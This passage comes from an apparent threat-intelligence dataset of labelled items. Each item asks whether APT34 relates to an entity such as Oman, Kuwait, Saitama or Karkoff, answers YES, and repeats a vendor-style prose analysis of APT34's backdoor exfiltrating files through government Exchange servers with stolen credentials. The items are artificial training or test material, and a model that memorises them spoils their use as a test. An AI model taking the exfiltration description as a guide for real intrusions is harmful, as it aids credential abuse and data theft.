in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Oman\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Kuwait\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Bahrain\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Lebanon\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Egypt\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: C&C\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Saitama\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Karkoff\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked 